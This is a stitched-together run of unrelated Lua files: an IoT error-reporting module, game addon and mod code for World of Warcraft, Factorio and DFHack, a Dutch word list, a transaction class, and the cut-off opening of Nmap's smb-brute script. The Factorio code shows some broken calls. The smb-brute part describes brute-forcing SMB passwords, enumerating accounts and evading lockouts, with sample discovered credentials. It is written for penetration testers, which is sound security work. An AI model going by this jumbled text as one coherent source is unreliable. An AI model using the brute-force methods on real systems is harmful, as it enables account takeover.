1、重启后会通过Luat下载调试工具输出,在trace中搜索errDump.libErr,可以搜索到错误信息 -- 2、如果用户调用errDump.request接口设置了错误信息要上报的调试服务器地址和端口,则每次重启会自动上报错误信息到调试服务器 -- 3、如果用户调用errDump.request接口设置了定时上报,则定时上报时会上报错误信息到调试服务器 -- 其中第2和第3种情况,上报成功后,会自动清除错误信息 -- @return bool result,true表示成功,false或者nil表示失败 -- @usage errDump.appendErr("net working timeout!") function appendErr(s) if s then s=s.."\r\n" log.error("errDump.appendErr",s) if (s:len()+libErr:len())<=LIB_ERR_MAX_LEN then libErr = libErr..s return io.writeFile(LIB_ERR_FILE, libErr) end end end local function reportData() return _G.PROJECT.."_"..rtos.get_version()..",".._G.VERSION..","..misc.getImei()..","..misc.getSn()..","..luaErr..(luaErr:len()>0 and "\r\n" or "")..libErr..sNetworkLog end local function httpPostCbFnc(result,statusCode) log.info("errDump.httpPostCbFnc",result,statusCode) sys.publish("ERRDUMP_HTTP_POST",result,statusCode) end function clientTask(protocol,addr,period) sReporting = true while true do if not socket.isReady() then sys.waitUntil("IP_READY_IND") end --log.info("errDump.clientTask","err",luaErr~="" or libErr~="") if luaErr~="" or libErr~="" or sNetworkLog~="" then local retryCnt,result,data = 0 while true do if protocol=="http" then http.request("POST",addr,nil,nil,reportData(),20000,httpPostCbFnc) _,result = sys.waitUntil("ERRDUMP_HTTP_POST") else local host,port = addr:match("://(.+):(%d+)$") if not host then log.error("errDump.request invalid host port") return end local sck = protocol=="udp" and socket.udp() or socket.tcp() if sck:connect(host,port) then result = sck:send(reportData()) if result and protocol=="udp" then result,data = sck:recv(20000) if result then result = data=="OK" end end end sck:close() end if result then libErr = "" os.remove(LIB_ERR_FILE) luaErr = "" os.remove(LUA_ERR_FILE) sNetworkLog = "" stNetworkLog = {} break else retryCnt = retryCnt+1 if retryCnt==3 then break end sys.wait(5000) end end end if period then --log.info("errDump.clientTask","wait",period) sys.wait(period) else break end end sReporting = false end function updateNetworkLog() if sNetworkLogFlag then sNetworkLog = "" for k,v in pairs(stNetworkLog) do if v and v~="" then sNetworkLog = sNetworkLog.."\r\n"..k.."@"..v end end end end local onceGsmRegistered,onceGprsAttached --- 配置网络错误日志开关 -- @bool[opt=nil] flag,是否打开网络错误日志开关,true为打开,false或者nil为关闭 -- @usage -- errDump.setNetworkLog(true) function setNetworkLog(flag) sNetworkLogFlag = flag local procer = flag and sys.subscribe or sys.unsubscribe if not flag then sNetworkLog,stNetworkLog = "",{} end local function getTimeStr() local clk = os.date("*t") return string.format("%02d_%02d:%02d:%02d",clk.day,clk.hour,clk.min,clk.sec) end procer("FLYMODE",function(value) if value then stNetworkLog["FLYMODE"] = getTimeStr() updateNetworkLog() end end) procer("SIM_IND",function(value) if value~="RDY" then stNetworkLog["SIM_IND"] = getTimeStr()..":"..value updateNetworkLog() end end) procer("NET_STATE_UNREGISTER",function() if onceGsmRegistered then stNetworkLog["NET_STATE_UNREGISTER"] = getTimeStr() updateNetworkLog() end end) procer("NET_STATE_REGISTER",function() onceGsmRegistered=true end) procer("GPRS_ATTACH",function(value) if value then onceGprsAttached = true elseif onceGprsAttached then stNetworkLog["GPRS_ATTACH"] = getTimeStr()..":0" updateNetworkLog() end end) procer("LIB_SOCKET_CONNECT_FAIL_IND",function(ssl,prot,addr,port) stNetworkLog[(ssl and "ssl" or prot).."://"..addr..":"..port] = getTimeStr()..":connect fail" updateNetworkLog() end) procer("LIB_SOCKET_SEND_FAIL_IND",function(ssl,prot,addr,port) stNetworkLog[(ssl and "ssl" or prot).."://"..addr..":"..port] = getTimeStr()..":send fail" updateNetworkLog() end) procer("PDP_DEACT_IND",function() stNetworkLog["PDP_DEACT_IND"] = getTimeStr() updateNetworkLog() end) procer("IP_SHUT_IND",function() stNetworkLog["IP_SHUT_IND"] = getTimeStr() updateNetworkLog() end) end --- 配置调试服务器地址,启动错误信息上报给调试服务器的功能,上报成功后,会清除错误信息 -- @string addr,调试服务器地址信息,支持http,udp,tcp -- 1、如果调试服务器使用http协议,终端将采用POST命令,把错误信息上报到addr指定的URL中,addr的格式如下 -- (除protocol和hostname外,其余字段可选;目前的实现不支持hash) -- |------------------------------------------------------------------------------| -- | protocol ||| auth | host | path | hash | -- |----------|||-----------|-----------------|---------------------------|-------| -- | ||| | hostname | port | pathname | search | | -- | ||| |----------|------|----------|----------------| | -- " http :// user:pass @ host.com : 8080 /p/a/t/h ? query=string # hash " -- | ||| | | | | | | -- |------------------------------------------------------------------------------| -- 2、如果调试服务器使用udp协议,终端将错误信息,直接上报给调试服务器,调试服务器收到信息后,要回复大写的OK;addr格式如下: -- |----------|||----------|------| -- | protocol ||| hostname | port | -- | |||----------|------| -- " udp :// host.com : 8081 | -- | ||| | | -- |------------------------------| -- 3、如果调试服务器使用tcp协议,终端将错误信息,直接上报给调试服务器;addr格式如下: -- |----------|||----------|------| -- | protocol ||| hostname | port | -- | |||----------|------| -- " tcp :// host.com : 8082 | -- | ||| | | -- |------------------------------| -- @number[opt=600000] period,单位毫秒,定时检查错误信息并上报的间隔 -- @return bool result,成功返回true,失败返回nil -- @usage -- errDump.request("http://www.user_server.com/errdump") -- errDump.request("udp://www.user_server.com:8081") -- errDump.request("tcp://www.user_server.com:8082") -- errDump.request("tcp://www.user_server.com:8082",6*3600*1000) function request(addr,period) local protocol = addr:match("(%a+)://") if protocol~="http" and protocol~="udp" and protocol~="tcp" then log.error("errDump.request invalid protocol",protocol) return end if not sReporting then sys.taskInit(clientTask,protocol,addr,period or 600000) end return true end initErr()
--------------------------------- -- INIT --------------------------------- --get the addon namespace local addon, ns = ... ns.cfg = {} local cfg = ns.cfg --------------------------------- -- CONFIG --------------------------------- --drag frame (only has strata, level and position) cfg.dragframe = { strata = "BACKGROUND", --frame strata level = 0, --frame level pos = { a1="BOTTOM", x=0, y=0, }, } --actionbar background cfg.actionbarbg = { name = "ActionBar", --has to be unique per addon width = 1024, height = 128, scale = 0.55, --alpha = 1, --strata = "BACKGROUND", --frame strata --level = 0, --frame level pos = { a1="BOTTOM", x=0, y=0, }, texture = { file = "Interface\\AddOns\\rBBS_Diablo2\\media\\bar.tga", --strata = "BACKGROUND", --texture strata --level = -8, --texture level --color = { r=1, g=0, b=0, a = 1, }, --blendmode = "ADD", }, } --bottomline texture cfg.healthorb = { name = "HealthOrb", size = 142, scale = 0.82, classcolored = false, animation = { enable = true, anim = 20, decreaseAlpha = true, multiplier = 0.15, }, --color = { r=1, g=1, b=0, a=1, }, pos = { a1="BOTTOMLEFT", x=30, y=-5, }, --strata = "BACKGRROUND", --level = 1, } --bottomline texture cfg.powerorb = { name = "PowerOrb", size = 142, scale = 0.82, powertypecolored = false, animation = { enable = true, anim = 6, decreaseAlpha = true, multiplier = 0.15, }, pos = { a1="BOTTOMRIGHT", x=-28, y=-5, }, } --angel texture cfg.angel = { name = "Angel", width = 256, height = 256, strata = "LOW", level = 5, scale = 0.6, pos = { a1="BOTTOMRIGHT", x=0, y=0, }, texture = { file = "Interface\\AddOns\\rBBS_Diablo2\\media\\figure_right.tga", }, } --demon texture cfg.demon = { name = "Demon", width = 256, height = 256, strata = "LOW", level = 5, scale = 0.6, pos = { a1="BOTTOMLEFT", x=0, y=0, }, texture = { file = "Interface\\AddOns\\rBBS_Diablo2\\media\\figure_left.tga", }, } --------------------------------- -- CONFIG ---------------------------------
--- original code: https://github.com/Oarcinae/FactorioScenarioMultiplayerSpawn/commits/master --- modify by kevinma local KC = require('klib/container/container') local Event = require('klib/event/event') local dlog = require('klib/utils/dlog') local CHUNK_SIZE = 32 local TICKS_PER_SECOND = 60 local TICKS_PER_MINUTE = TICKS_PER_SECOND * 60 local TICKS_PER_HOUR = TICKS_PER_MINUTE * 60 -- Code tracks all chunks generated and allows for deleting inactive chunks -- Relies on some changes to RSO to provide random resource locations the next -- time the land is regenerated. -- (THIS IS CURRENTLY NOT WORKING IN 0.16, -- resources always how up in the same spot!) -- -- Basic rules of regrowth: -- 1. Area around player is safe for quite a large distance. -- 2. Rocket silo won't be deleted. - PERMANENT -- 3. Chunks with pollution won't be deleted. -- 4. Chunks with railways won't be deleted. -- 5. Anything within radar range won't be deleted, but radar MUST be active. -- -- This works by refreshing all chunk timers within radar range using -- the on_sector_scanned event. -- 6. Chunks timeout after 1 hour-ish, configurable -- 7. For now, oarc spawns are deletion safe as well, but only immediate area. -- Generic Utility Includes -- Default timeout of generated chunks local REGROWTH_TIMEOUT_TICKS = TICKS_PER_HOUR --local REGROWTH_TIMEOUT_TICKS = TICKS_PER_MINUTE -- for debug -- We can't delete chunks regularly without causing lag. -- So we should save them up to delete them. local REGROWTH_CLEANING_INTERVAL_TICKS = REGROWTH_TIMEOUT_TICKS -- Not used right now. -- It takes a radar 7 hours and 20 minutes to scan it's whole area completely -- So I will bump the refresh time of blocks up by 8 hours -- RADAR_COMPLETE_SCAN_TICKS = TICKS_PER_HOUR*8 -- Additional bonus time for certain things: -- REFRESH_BONUS_RADAR = RADAR_COMPLETE_SCAN_TICKS local GAME_SURFACE_NAME = "nauvis" local RegrowthMap = KC.singleton('klib/addon/RegrowthMap', function(self) self.surface = game.surfaces[GAME_SURFACE_NAME] self.chunk_regrow = {} self.chunk_regrow.map = {} self.chunk_regrow.removal_list = {} self.chunk_regrow.rso_region_roll_counter = 0 self.chunk_regrow.player_refresh_index = 1 self.chunk_regrow.min_x = 0 self.chunk_regrow.max_x = 0 self.chunk_regrow.x_index = 0 self.chunk_regrow.min_y = 0 self.chunk_regrow.max_y = 0 self.chunk_regrow.y_index = 0 self.chunk_regrow.force_removal_flag = -1000 self:OarcRegrowthOffLimits({ x = 0, y = 0 }, 10) end) function RegrowthMap:GetChunkCoordsFromPos(pos) return { x = math.floor(pos.x / CHUNK_SIZE), y = math.floor(pos.y / CHUNK_SIZE) } end -- Broadcast messages to all connected players function RegrowthMap:SendBroadcastMsg(msg) for name,player in pairs(game.connected_players) do player.print(msg) end end -- Marks a chunk a position that won't ever be deleted. function RegrowthMap:OarcRegrowthOffLimitsChunk(pos) local c_pos = self:GetChunkCoordsFromPos(pos) if (self.chunk_regrow.map[c_pos.x] == nil) then self.chunk_regrow.map[c_pos.x] = {} end self.chunk_regrow.map[c_pos.x][c_pos.y] = -1 end -- Marks a safe area around a position that won't ever be deleted. --local function OarcRegrowthOffLimits(pos, chunk_radius) function RegrowthMap:OarcRegrowthOffLimits(pos, chunk_radius) local c_pos = self:GetChunkCoordsFromPos(pos) for i = -chunk_radius, chunk_radius do for k = -chunk_radius, chunk_radius do local x = c_pos.x + i local y = c_pos.y + k if (self.chunk_regrow.map[x] == nil) then self.chunk_regrow.map[x] = {} end self.chunk_regrow.map[x][y] = -1 end end end -- Adds new chunks to the global table to track them. -- This should always be called first in the chunk generate sequence -- (Compared to other RSO & Oarc related functions...) function RegrowthMap:OarcRegrowthChunkGenerate(pos) local c_pos = self:GetChunkCoordsFromPos(pos) -- If this is the first chunk in that row: if (self.chunk_regrow.map[c_pos.x] == nil) then self.chunk_regrow.map[c_pos.x] = {} end -- Confirm the chunk doesn't already have a value set: if (self.chunk_regrow.map[c_pos.x][c_pos.y] == nil) then self.chunk_regrow.map[c_pos.x][c_pos.y] = game.tick end -- Store min/max values for x/y dimensions: if (c_pos.x < self.chunk_regrow.min_x) then self.chunk_regrow.min_x = c_pos.x end if (c_pos.x > self.chunk_regrow.max_x) then self.chunk_regrow.max_x = c_pos.x end if (c_pos.y < self.chunk_regrow.min_y) then self.chunk_regrow.min_y = c_pos.y end if (c_pos.y > self.chunk_regrow.max_y) then self.chunk_regrow.max_y = c_pos.y end end -- This is the main work function, it checks a single chunk in the list -- per tick. It works according to the rules listed in the header of this -- file. function RegrowthMap:OarcRegrowthOnTick() -- Every half a second, refresh all chunks near a single player -- Cyles through all players. Tick is offset by 2 if ((game.tick % (30)) == 2) then self:OarcRegrowthRefreshPlayerArea() end -- Every tick, check a few points in the 2d array -- According to /measured-command this shouldn't take more -- than 0.1ms on average for i = 1, 20 do self:OarcRegrowthCheckArray() end -- Send a broadcast warning before it happens. if ((game.tick % REGROWTH_CLEANING_INTERVAL_TICKS) == REGROWTH_CLEANING_INTERVAL_TICKS - 601) then if (#global.chunk_regrow.removal_list > 100) then self:SendBroadcastMsg("Map cleanup in 10 seconds, if you don't want to lose what you found drop a powered radar on it!") end end -- Delete all listed chunks if ((game.tick % REGROWTH_CLEANING_INTERVAL_TICKS) == REGROWTH_CLEANING_INTERVAL_TICKS - 1) then if (#self.chunk_regrow.removal_list > 100) then OarcRegrowthRemoveAllChunks() self:SendBroadcastMsg("Map cleanup done, sorry for your loss.") end end end -- Refresh all chunks near a single player. Cyles through all connected players. function RegrowthMap:OarcRegrowthRefreshPlayerArea() self.chunk_regrow.player_refresh_index = self.chunk_regrow.player_refresh_index + 1 if (self.chunk_regrow.player_refresh_index > #game.connected_players) then self.chunk_regrow.player_refresh_index = 1 end if (game.connected_players[self.chunk_regrow.player_refresh_index]) then self:OarcRegrowthRefreshArea(game.connected_players[self.chunk_regrow.player_refresh_index].position, 4, 0) end end -- Refreshes timers on all chunks around a certain area function RegrowthMap:OarcRegrowthRefreshArea(pos, chunk_radius, bonus_time) local c_pos = self:GetChunkCoordsFromPos(pos) for i = -chunk_radius, chunk_radius do for k = -chunk_radius, chunk_radius do local x = c_pos.x + i local y = c_pos.y + k if (self.chunk_regrow.map[x] == nil) then self.chunk_regrow.map[x] = {} end if (self.chunk_regrow.map[x][y] ~= -1) then self.chunk_regrow.map[x][y] = game.tick + bonus_time end end end end -- Check each chunk in the 2d array for a timeout value function RegrowthMap:OarcRegrowthCheckArray() -- Increment X if (self.chunk_regrow.x_index > self.chunk_regrow.max_x) then self.chunk_regrow.x_index = self.chunk_regrow.min_x -- Increment Y if (self.chunk_regrow.y_index > self.chunk_regrow.max_y) then self.chunk_regrow.y_index = self.chunk_regrow.min_y dlog("Finished checking regrowth array." .. self.chunk_regrow.min_x .. " " .. self.chunk_regrow.max_x .. " " .. self.chunk_regrow.min_y .. " " .. self.chunk_regrow.max_y) else self.chunk_regrow.y_index = self.chunk_regrow.y_index + 1 end else self.chunk_regrow.x_index = self.chunk_regrow.x_index + 1 end -- Check row exists, otherwise make one. if (self.chunk_regrow.map[self.chunk_regrow.x_index] == nil) then self.chunk_regrow.map[self.chunk_regrow.x_index] = {} end -- If the chunk has timed out, add it to the removal list local c_timer = self.chunk_regrow.map[self.chunk_regrow.x_index][self.chunk_regrow.y_index] if ((c_timer ~= nil) and (c_timer ~= -1) and ((c_timer + REGROWTH_TIMEOUT_TICKS) < game.tick)) then -- Check chunk actually exists if (self.surface.is_chunk_generated({ x = (self.chunk_regrow.x_index), y = (self.chunk_regrow.y_index) })) then table.insert(self.chunk_regrow.removal_list, { x = self.chunk_regrow.x_index, y = self.chunk_regrow.y_index }) self.chunk_regrow.map[self.chunk_regrow.x_index][self.chunk_regrow.y_index] = nil end end end -- Remove all chunks at same time to reduce impact to FPS/UPS function RegrowthMap:OarcRegrowthRemoveAllChunks() while (#self.chunk_regrow.removal_list > 0) do local c_pos = table.remove(self.chunk_regrow.removal_list) local c_timer = self.chunk_regrow.map[c_pos.x][c_pos.y] -- Confirm chunk is still expired if (c_timer == nil) then -- Check for pollution if (self.surface.get_pollution({ c_pos.x * CHUNK_SIZE, c_pos.y * CHUNK_SIZE }) > 0) then self.chunk_regrow.map[c_pos.x][c_pos.y] = game.tick -- Else delete the chunk else self.surface.delete_chunk(c_pos) self.chunk_regrow.map[c_pos.x][c_pos.y] = nil end else -- DebugPrint("Chunk no longer expired?") end end end -- Refreshes timers on all chunks near an ACTIVE radar function RegrowthMap:OarcRegrowthSectorScan(event) self:OarcRegrowthRefreshArea(event.radar.position, 14, 0) self:OarcRegrowthRefreshChunk(event.chunk_position, 0) end -- Refreshes timers on a chunk containing position function RegrowthMap:OarcRegrowthRefreshChunk(pos, bonus_time) local c_pos = self:GetChunkCoordsFromPos(pos) if (self.chunk_regrow.map[c_pos.x] == nil) then self.chunk_regrow.map[c_pos.y] = {} end if (self.chunk_regrow.map[c_pos.x][c_pos.y] ~= -1) then self.chunk_regrow.map[c_pos.x][c_pos.y] = game.tick + bonus_time end end -- self.surface.find_entities_filtered{area = {game.player.position, {game.player.position.x+32, game.player.position-`32}}, type= "resource"} -- If an entity is mined or destroyed, then check if the chunk -- is empty. If it's empty, reset the refresh timer. function RegrowthMap:OarcRegrowthCheckChunkEmpty(event) if ((event.entity.force ~= nil) and (event.entity.force ~= "neutral") and (event.entity.force ~= "enemy")) then if self:CheckChunkEmpty(event.entity.position) then dlog("Resetting chunk timer." .. event.entity.position.x .. " " .. event.entity.position.y) self:OarcRegrowthForceRefreshChunk(event.entity.position, 0) end end end -- This complicated function checks that if a chunk function RegrowthMap:CheckChunkEmpty(pos) local chunkPos = self:GetChunkCoordsFromPos(pos) local search_top_left = { x = chunkPos.x * CHUNK_SIZE, y = chunkPos.y * CHUNK_SIZE } local search_area = { search_top_left, { x = search_top_left.x + CHUNK_SIZE, y = search_top_left.y + CHUNK_SIZE } } local total = 0 for f, _ in pairs(game.forces) do if f ~= "neutral" and f ~= "enemy" then local entities = self.surface.find_entities_filtered({ area = search_area, force = f }) total = total + #entities if (#entities > 0) then for _, e in pairs(entities) do if ((e.type == "player") or (e.type == "car") or (e.type == "logistic-robot") or (e.type == "construction-robot")) then total = total - 1 end end end end end -- A destroyed entity is still found during the event check. return (total == 1) end -- Forcefully refreshes timers on a chunk containing position -- Will overwrite -1 flag. function RegrowthMap:OarcRegrowthForceRefreshChunk(pos, bonus_time) local c_pos = self:GetChunkCoordsFromPos(pos) if (self.chunk_regrow.map[c_pos.x] == nil) then self.chunk_regrow.map[c_pos.y] = {} end self.chunk_regrow.map[c_pos.x][c_pos.y] = game.tick + bonus_time end -- Refreshes timers on all chunks around a certain area function RegrowthMap:OarcRegrowthRefreshArea(pos, chunk_radius, bonus_time) local c_pos = self:GetChunkCoordsFromPos(pos) for i = -chunk_radius, chunk_radius do for k = -chunk_radius, chunk_radius do local x = c_pos.x + i local y = c_pos.y + k if (self.chunk_regrow.map[x] == nil) then self.chunk_regrow.map[x] = {} end if (self.chunk_regrow.map[x][y] ~= -1) then self.chunk_regrow.map[x][y] = game.tick + bonus_time end end end end --RegrowthMap:on(defines.events.on_surface_created, function(event) -- -- surface_index -- GAME_SURFACE_NAME = game.surfaces[1] --end) RegrowthMap:on(defines.events.on_chunk_generated, function(self, event) self:OarcRegrowthChunkGenerate(event.area.left_top) end) RegrowthMap:on(defines.events.on_built_entity, function(self, event) self:OarcRegrowthOffLimitsChunk(event.created_entity.position) end) --- main function RegrowthMap:on(defines.events.on_tick, function(self, event) self:OarcRegrowthOnTick() end) RegrowthMap:on(defines.events.on_sector_scanned, function(self, event) self:OarcRegrowthRefreshChunk(event) end) RegrowthMap:on(defines.events.on_robot_built_entity, function(self, event) self:OarcRegrowthOffLimitsChunk(event.created_entity.position) end) RegrowthMap:on(defines.events.on_player_mined_entity, function(self, event) self:OarcRegrowthCheckChunkEmpty() end) Event.register(defines.events.on_robot_mined_entity, function(self, event) self:OarcRegrowthCheckChunkEmpty() end) return RegrowthMap
data:extend({ { type = "recipe", name = "radar-passive", enabled = true, ingredients = { {"radar", 1}, }, result = "radar-passive", }, })
return {'kenia','keniaan','keniaans','keniaanse','kenau','kenbaar','kenbaarheid','kenbron','kendo','kenen','kengetal','kenleer','kenletter','kenmerk','kenmerken','kenmerkend','kennel','kennelijk','kennen','kenner','kennersblik','kennersoog','kennis','kennisachterstand','kennisbank','kennisborging','kennisbron','kenniscentrum','kennisdebat','kennisdeel','kenniseconomie','kennisgebied','kennisgeving','kennisindustrie','kennisinfrastructuur','kennisinstituut','kennisintensief','kennisintensiteit','kenniskloof','kennislacune','kennisland','kennisleer','kennismaatschappij','kennismaken','kennismaking','kennismakingsadvertentie','kennismakingsavond','kennismakingsbezoek','kennismakingsbijeenkomst','kennismakingsgesprek','kennismakingsronde','kennismakingstijd','kennismakingstournee','kennismanagement','kennismanager','kennisname','kennisnemen','kennisneming','kennisnet','kennisniveau','kennisontwikkeling','kennisoverdracht','kennissamenleving','kennissen','kennissenkring','kennisslijtage','kennissysteem','kennistechnologie','kennistheorie','kennisuitwisseling','kennisvergaring','kennisvermeerdering','kennisveroudering','kennisverwerving','kennisvoorsprong','kennisvorming','kenniswerker','kenschets','kenschetsen','kenschetsend','kenschetsing','kenspreuk','kentaur','kenteken','kentekenbewijs','kentekenen','kentekenhouder','kentekennummer','kentekenplaat','kentekenregister','kentekenregistratie','kenteren','kentering','kentheoretisch','kenvermogen','kenobject','kennissociologie','kennistheoretisch','kenwijsje','kennemer','kennisinstelling','kennisnetwerk','kennisdeling','kennisbeheer','kennisgever','kennisbasis','kennisbehoefte','kennisdomein','kenniskring','kennisverspreiding','kenniswinst','kennelhoest','kennelnaam','kennisbeleid','kenniscirculatie','kenniscreatie','kennisdrager','kennisgebrek','kennisgroep','kennisideaal','kennisketen','kennismakelaar','kennismakingscursus','kennismakingsdag','kennismakingsles','kennismakingsreis','kennismakingsspel','kennismarkt','kennismigrant','kennismigrantenregeling','kennisopbouw','kennisorganisatie','kennisplatform','kennispositie','kennispotentieel','kennisproductie','kennisquiz','kennisregio','kennisruimte','kennissector','kennisstad','kennistest','kennistoets','kennistransfer','kennisveld','kennisverrijking','kennisvraag','kenniswerk','kenniscampus','kennisdatabase','kennisgebruik','kennistoegang','kennisproces','kennismakingsperiode','kennisgevingsprocedure','kentekenherkenning','kennistekort','kenniskaart','kennisproductiviteit','kenitra','kennedy','kennemerland','kenniswijk','ken','kendra','kendrick','kenji','kenneth','kenny','keno','kent','kenza','kenzo','kenter','kentie','kennes','kentgens','kengen','kenbeek','kennemers','ken','kenaus','kenbaarder','kenbare','kenbronnen','kencijfers','kende','kenden','kengetallen','kenletters','kenmerkende','kenmerkender','kenmerkendst','kenmerkendste','kenmerkt','kenmerkte','kenmerkten','kennelijke','kennelijker','kennels','kennend','kennende','kenners','kennersblikken','kennisachterstanden','kennisbanken','kennisbronnen','kennisgenomen','kennisgevingen','kennisinstellingen','kennisinstituten','kennisje','kennislacunes','kennismakingen','kennismakingsadvertenties','kennismakingsbijeenkomsten','kennismakingsgesprekken','kennismanagers','kennissystemen','kennisvragen','kenniswerkers','kenschetsende','kenschetsender','kenschetst','kenschetste','kenschetsten','kenspreuken','kent','kentauren','kentekende','kentekenplaten','kentekens','kentekent','kenter','kenterde','kenterden','kenteringen','kentert','kenianen','kenniscentra','kennisgebieden','kennisgemaakt','kennisintensieve','kennismaakt','kennismaakte','kennisniveaus','kennissenkringen','kentekenend','kentekenende','kentekennummers','kentekenregistraties','kentheoretische','kenvermogens','kenobjecten','kentekenbewijzen','kenbaarst','kennistheoretische','kenwijsjes','kens','kendras','kendricks','kenjis','kenneths','kennys','kenos','kents','kenzas','kenzos','kennisdragers','kenniskringen','kennismigranten','kennisnetwerken','kennisdomeinen','kennisidealen','kennisvelden','kennismakingsdagen','kennisgroepen','kennismakingslessen','kennisprocessen','kennisbehoeften','kennisjes','kennismakingsbezoeken','kennistoetsen','kentekenhouders','kennisorganisaties','kennismakingsspelletjes','kennisregios','kentekenplaatje','kennismakingscursussen','kennisuitwisselingen','kennistesten','kennismakingsbezoekje','kennismakingsavonden','kennistekorten','kennisgevingsprocedures','kennisketens','kennisplatformen','kenniskaarten','kennislanden','kennisgevers','kenniswerken','kennisplatforms','kennissectoren'}
--item/create.lua v1.0 --author expwnent, modified by roses --creates an item of a given type and material local utils = require 'utils' validArgs = validArgs or utils.invert({ 'help', 'creator', 'material', 'item', 'matchingGloves', 'matchingShoes', 'dur', 'quality', }) local args = utils.processArgs({...}, validArgs) if args.help then print( [[item/create.lua arguments: -help print this help message -creator id specify the id of the unit who will create the item examples: 0 2 -material matstring specify the material of the item to be created examples: INORGANIC:IRON CREATURE_MAT:DWARF:BRAIN PLANT_MAT:MUSHROOM_HELMET_PLUMP:DRINK -item itemstr specify the itemdef of the item to be created examples: WEAPON:ITEM_WEAPON_PICK -matchingShoes create two of this item -matchingGloves create two of this item, and set handedness appropriately -dur # length of time, in in-game ticks, for the item to exist 0 means the item is permanent DEFAULT: 0 ]]) return end if not args.creator then args.creator = 0 end local item1 = dfhack.script_environment('functions/item').create(args.item,args.material,args.creator,args.quality,args.dur) if args.matchingGloves or args.matchingShoes then if args.matchingGloves then item1 = df.item.find(item1) item1:setGloveHandedness(1); end local item2 = dfhack.script_environment('functions/item').create(args.item,args.material,args.creator,args.quality,args.dur) if args.matchingGloves then item2 = df.item.find(item2) item2:setGloveHandedness(2); end end
local transaction=Class { } transaction.__name='Transaction Record Object' function transaction:__init(startTime, sourceConnector, receivedMessage, sentResponse, sourceError) if sourceError then self._erredOnSource=true end self._startTime=startTime or gettime() local status=sourceError and MESSAGE_STATUS.ERROR or MESSAGE_STATUS.RECEIVED self._receivedMessage=Message:new(sourceConnector, status, receivedMessage, sentResponse, sourceError) self._sentMessages={} self._processedQueueMessages={} end function transaction:getRawData() return self._receivedMessage._data end function transaction:getMsg() return self._receivedMessage:getDataObject() end function transaction:addSentMessage(destinationConnector, sentMessage, receivedResponse) local status=destinationError and MESSAGE_STATUS.ERROR or qfn and MESSAGE_STATUS.QUEUED or MESSAGE_STATUS.SENT local m=Message:new(destinationConnector, status, sentMessage, receivedResponse) table.insert(self._sentMessages, m) self._finishedTime=getFormattedDate() end return transaction
local bit = require "bit" local math = require "math" local msrpc = require "msrpc" local nmap = require "nmap" local smb = require "smb" local stdnse = require "stdnse" local string = require "string" local table = require "table" local unpwdb = require "unpwdb" description = [[ Attempts to guess username/password combinations over SMB, storing discovered combinations for use in other scripts. Every attempt will be made to get a valid list of users and to verify each username before actually using them. When a username is discovered, besides being printed, it is also saved in the Nmap registry so other Nmap scripts can use it. That means that if you're going to run <code>smb-brute.nse</code>, you should run other <code>smb</code> scripts you want. This checks passwords in a case-insensitive way, determining case after a password is found, for Windows versions before Vista. This script is specifically targeted towards security auditors or penetration testers. One example of its use, suggested by Brandon Enright, was hooking up <code>smb-brute.nse</code> to the database of usernames and passwords used by the Conficker worm (the password list can be found at http://www.skullsecurity.org/wiki/index.php/Passwords, among other places. Then, the network is scanned and all systems that would be infected by Conficker are discovered. From the penetration tester perspective its use is pretty obvious. By discovering weak passwords on SMB, a protocol that's well suited for bruteforcing, access to a system can be gained. Further, passwords discovered against Windows with SMB might also be used on Linux or MySQL or custom Web applications. Discovering a password greatly beneficial for a pen-tester. This script uses a lot of little tricks that I (Ron Bowes) describe in detail in a blog posting, http://www.skullsecurity.org/blog/?p=164. The tricks will be summarized here, but that blog is the best place to learn more. Usernames and passwords are initially taken from the unpwdb library. If possible, the usernames are verified as existing by taking advantage of Windows' odd behaviour with invalid username and invalid password responses. As soon as it is able, this script will download a full list of usernames from the server and replace the unpw usernames with those. This enables the script to restrict itself to actual accounts only. When an account is discovered, it's saved in the <code>smb</code> module (which uses the Nmap registry). If an account is already saved, the account's privileges are checked; accounts with administrator privileges are kept over accounts without. The specific method for checking is by calling <code>GetShareInfo("IPC$")</code>, which requires administrative privileges. Once this script is finished (all other smb scripts depend on it, it'll run first), other scripts will use the saved account to perform their checks. The blank password is always tried first, followed by "special passwords" (such as the username and the username reversed). Once those are exhausted, the unpwdb password list is used. One major goal of this script is to avoid account lockouts. This is done in a few ways. First, when a lockout is detected, unless you user specifically overrides it with the <code>smblockout</code> argument, the scan stops. Second, all usernames are checked with the most common passwords first, so with not-too-strict lockouts (10 invalid attempts), the 10 most common passwords will still be tried. Third, one account, called the canary, "goes out ahead"; that is, three invalid attempts are made (by default) to ensure that it's locked out before others are. In addition to active accounts, this script will identify valid passwords for accounts that are disabled, guest-equivalent, and require password changes. Although these accounts can't be used, it's good to know that the password is valid. In other cases, it's impossible to tell a valid password (if an account is locked out, for example). These are displayed, too. Certain accounts, such as guest or some guest-equivalent, will permit any password. This is also detected. When possible, the SMB protocol is used to its fullest to get maximum information. When possible, checks are done using a case-insensitive password, then proper case is determined with a fairly efficient bruteforce. For example, if the actual password is "PassWord", then "password" will work and "PassWord" will be found afterwards (on the 14th attempt out of a possible 256 attempts, with the current algorithm). ]] --- --@usage -- nmap --script smb-brute.nse -p445 <host> -- sudo nmap -sU -sS --script smb-brute.nse -p U:137,T:139 <host> -- --@output -- Host script results: -- | smb-brute: -- | bad name:test => Valid credentials -- | consoletest:test => Valid credentials, password must be changed at next logon -- | guest:<anything> => Valid credentials, account disabled -- | mixcase:BuTTeRfLY1 => Valid credentials -- | test:password1 => Valid credentials, account expired -- | this:password => Valid credentials, account cannot log in at current time -- | thisisaverylong:password => Valid credentials -- | thisisaverylongname:password => Valid credentials -- | thisisaverylongnamev:password => Valid credentials -- |_ web:TeSt => Valid credentials, account disabled -- -- @args smblockout This argument will force the script to continue if it -- locks out an account or thinks it will lock out an account. -- @args brutelimit Limits the number of usernames checked in the script. In some domains, -- it's possible to end up with 10,000+ usernames on each server. By default, this -- will be <code>5000</code>, which should be higher than most servers and also prevent infinite -- loops or other weird things. This will only affect the user list pulled from the -- server, not the username list. -- @args canaries Sets the number of tests to do to attempt to lock out the first account. -- This will lock out the first account without locking out the rest of the accounts. -- The default is 3, which will only trigger strict lockouts, but will also bump the -- canary account up far enough to detect a lockout well before other accounts are -- hit. ----------------------------------------------------------------------- author = "Ron Bowes" license = "Same as Nmap--See http://nmap.org/book/man-legal.html" categories = {"intrusive", "brute"} ---The maximum number of usernames to check (can be modified with smblimit argument) -- The limit exists because domains may have hundreds of thousands of accounts, -- potentially. local LIMIT = 5000 hostrule = function(host) return smb.get_port(host) ~= nil end ---The possible result codes. These are simplified from the actual codes that SMB returns. local results = { SUCCESS = 1, -- Login was successful GUEST_ACCESS = 